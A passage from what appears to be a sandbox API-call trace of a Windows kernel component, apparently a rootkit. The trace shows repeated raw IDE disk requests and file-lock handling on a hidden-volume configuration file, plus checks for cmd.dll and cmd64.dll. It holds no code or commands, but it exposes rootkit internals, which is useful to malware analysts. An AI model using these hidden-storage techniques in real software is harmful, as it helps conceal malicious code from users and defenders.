Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.773] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.773] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.773] IdePortDispatch () returned 0x103 [0126.773] KeWaitForMutexObject () returned 0x0 [0126.773] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.774] KeLeaveCriticalRegion () [0126.774] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.774] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.774] KeEnterCriticalRegion () [0126.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.774] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b18000 [0126.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.774] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.774] IdePortDispatch () returned 0x103 [0126.774] KeWaitForMutexObject () returned 0x0 [0126.774] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.774] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.774] IdePortDispatch () returned 0x103 [0126.774] KeWaitForMutexObject () returned 0x0 [0126.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.775] KeLeaveCriticalRegion () [0126.775] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.775] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.775] KeEnterCriticalRegion () [0126.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.775] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.775] KeLeaveCriticalRegion () [0126.775] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.775] KeEnterCriticalRegion () [0126.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.775] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.775] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed480, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.776] KeLeaveCriticalRegion () [0126.776] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.776] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.776] KeEnterCriticalRegion () [0126.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.776] ExFreePoolWithTag (P=0xfffffa8003accb30, Tag=0x0) [0126.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.776] KeLeaveCriticalRegion () [0126.776] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.776] ReleaseMutex (hMutex=0xf0) returned 1 [0126.776] Sleep (dwMilliseconds=0x124f80) [0126.793] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.793] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.793] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.793] KeEnterCriticalRegion () [0126.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.794] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.794] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.794] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.794] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.794] IdePortDispatch () returned 0x103 [0126.794] KeWaitForMutexObject () returned 0x0 [0126.794] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.794] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.794] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.794] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.794] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.794] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ed470 [0126.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.794] KeLeaveCriticalRegion () [0126.794] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.794] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.794] KeEnterCriticalRegion () [0126.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.794] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.794] KeLeaveCriticalRegion () [0126.794] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.794] KeEnterCriticalRegion () [0126.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.794] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.794] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.794] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.794] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.794] IdePortDispatch () returned 0x103 [0126.795] KeWaitForMutexObject () returned 0x0 [0126.795] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.795] KeLeaveCriticalRegion () [0126.795] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.795] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.795] KeEnterCriticalRegion () [0126.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.795] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1d000 [0126.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.795] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.795] IdePortDispatch () returned 0x103 [0126.795] KeWaitForMutexObject () returned 0x0 [0126.795] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.795] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.796] IdePortDispatch () returned 0x103 [0126.796] KeWaitForMutexObject () returned 0x0 [0126.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.796] KeLeaveCriticalRegion () [0126.796] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.796] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.796] KeEnterCriticalRegion () [0126.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.796] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.797] KeLeaveCriticalRegion () [0126.797] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.797] KeEnterCriticalRegion () [0126.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.797] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.797] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037dabb0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.797] KeLeaveCriticalRegion () [0126.797] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.797] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.797] KeEnterCriticalRegion () [0126.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.797] ExFreePoolWithTag (P=0xfffffa80037ed470, Tag=0x0) [0126.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.797] KeLeaveCriticalRegion () [0126.797] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.797] ReleaseMutex (hMutex=0xf0) returned 1 [0126.797] Sleep (dwMilliseconds=0x124f80) [0126.815] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.815] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.815] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.815] KeEnterCriticalRegion () [0126.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.815] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.816] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.816] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.816] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.816] IdePortDispatch () returned 0x103 [0126.816] KeWaitForMutexObject () returned 0x0 [0126.816] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.816] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.816] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.816] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.816] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.816] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003acc770 [0126.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.816] KeLeaveCriticalRegion () [0126.816] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.816] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.816] KeEnterCriticalRegion () [0126.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.816] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.816] KeLeaveCriticalRegion () [0126.816] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.816] KeEnterCriticalRegion () [0126.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.816] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.816] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.816] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.816] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.816] IdePortDispatch () returned 0x103 [0126.817] KeWaitForMutexObject () returned 0x0 [0126.817] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.817] KeLeaveCriticalRegion () [0126.817] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.817] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.817] KeEnterCriticalRegion () [0126.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.817] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b22000 [0126.817] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.817] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.817] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.817] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.817] IdePortDispatch () returned 0x103 [0126.817] KeWaitForMutexObject () returned 0x0 [0126.817] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.817] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.817] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.817] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.817] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.818] IdePortDispatch () returned 0x103 [0126.818] KeWaitForMutexObject () returned 0x0 [0126.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.818] KeLeaveCriticalRegion () [0126.818] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.818] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.818] KeEnterCriticalRegion () [0126.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.818] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.818] KeLeaveCriticalRegion () [0126.819] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.819] KeEnterCriticalRegion () [0126.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.819] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.819] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003acc8e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.819] KeLeaveCriticalRegion () [0126.819] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.819] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.819] KeEnterCriticalRegion () [0126.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.819] ExFreePoolWithTag (P=0xfffffa8003acc770, Tag=0x0) [0126.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.819] KeLeaveCriticalRegion () [0126.819] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.819] ReleaseMutex (hMutex=0xf0) returned 1 [0126.819] Sleep (dwMilliseconds=0x124f80) [0126.837] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.837] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.837] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.837] KeEnterCriticalRegion () [0126.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.837] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.837] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0126.837] IdePortDispatch () returned 0x103 [0126.837] KeWaitForMutexObject () returned 0x0 [0126.837] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.837] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.837] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.837] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.837] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.837] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003acc820 [0126.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.837] KeLeaveCriticalRegion () [0126.837] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.837] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.837] KeEnterCriticalRegion () [0126.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.838] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.838] KeLeaveCriticalRegion () [0126.838] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.838] KeEnterCriticalRegion () [0126.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.838] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.838] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.838] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.838] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0126.838] IdePortDispatch () returned 0x103 [0126.838] KeWaitForMutexObject () returned 0x0 [0126.838] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.838] KeLeaveCriticalRegion () [0126.838] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.838] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.838] KeEnterCriticalRegion () [0126.838] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.838] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b27000 [0126.838] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.838] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.838] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.838] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.838] IdePortDispatch () returned 0x103 [0126.839] KeWaitForMutexObject () returned 0x0 [0126.839] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.839] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.839] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.839] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.839] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0126.839] IdePortDispatch () returned 0x103 [0126.839] KeWaitForMutexObject () returned 0x0 [0126.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.839] KeLeaveCriticalRegion () [0126.839] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.840] 